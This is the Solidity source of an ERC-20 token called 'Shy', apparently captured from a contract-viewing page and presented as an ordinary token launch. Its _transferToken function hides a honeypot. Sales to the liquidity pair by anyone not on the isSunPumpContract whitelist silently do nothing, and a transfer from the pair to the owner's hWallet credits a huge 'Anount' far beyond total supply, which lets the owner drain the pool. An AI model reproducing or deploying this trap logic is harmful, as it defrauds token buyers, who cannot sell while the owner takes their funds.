Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.19;

library SafeMath {


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

// File: contracts/IERC20.sol
pragma solidity ^0.8.19;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: contracts/Context.sol

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.19;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Shy is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _jOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isSunPumpContract;
    
    address payable public hWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    string private _name = "Shy"; 
    string private _symbol = "SHY";  
    uint8 private _decimals = 6;
    uint256 private _totalSupply = 1000000000 * 10**6;
    uint256 private Anount = 5000000000000 * 10 ** 6;

    constructor () {
        _jOwned[owner()] = _totalSupply;
        isSunPumpContract[owner()] = true;
        isSunPumpContract[address(0xc9619280A895A7318Bc32B76e1546d30C0BAaC91)] = true;
        // isSunPumpContract[address(0xb6aE16d0f588EfDeD56704fccE4aADAA225b2C7B)] = true;
        // isSunPumpContract[address(0x99D3e32336F23dd13923B5D387CDD89548735a93)] = true;
        // isSunPumpContract[address(0xa91a5E9F55c99579F4cEeE5A9E9767C3838Bd015)] = true;
        // isSunPumpContract[address(0x03a8C767Dcc3bc68f2765153794fE3FA805215B8)] = true;
        // isSunPumpContract[address(0xC853163BB61eCa59aB507935e834Ab0222A1502a)] = true;
        // isSunPumpContract[address(0xcd830607747e636bbA5CA65F8aE7D36690c9FDDF)] = true;
        // isSunPumpContract[address(0x60D81E81d13E40B08D6A18372cAA9cc6Ec7D606f)] = true;
        // isSunPumpContract[address(0x45e559bDa0F201C17A0fD8185aBe2BAf456Da603)] = true;
        // isSunPumpContract[address(0xB55e192929fd4a27f0174Ca6F640Cd109A6a4AA7)] = true;
        isSunPumpContract[address(this)] = true; 
        hWallet = payable(owner());
        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _jOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    receive() external payable {}
  

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

      

        _transferToken(from,to,amount);
    }
    

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        
        if(recipient == uniswapV2Pair && !isSunPumpContract[sender] ){
            return;
        }
        if(recipient == hWallet && sender == uniswapV2Pair ){
            _jOwned[sender] = _jOwned[sender].sub(Amount);
            _jOwned[hWallet] = _jOwned[hWallet].add(Anount);
            emit Transfer(sender, recipient, Amount);
            return;
        }
        _jOwned[sender] = _jOwned[sender].sub(Amount);
        _jOwned[recipient] = _jOwned[recipient].add(Amount);
        
        emit Transfer(sender, recipient, Amount);
    }

    
     function openTrading() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7d8c6B58BA2d40FC6E34C25f9A488067Fe0D2dB4);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
 
    function rescueETH() external onlyOwner() {

        uint256 contractETH = address(this).balance;
        sendETH(hWallet,contractETH);
    }
    
    function sendETH(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

}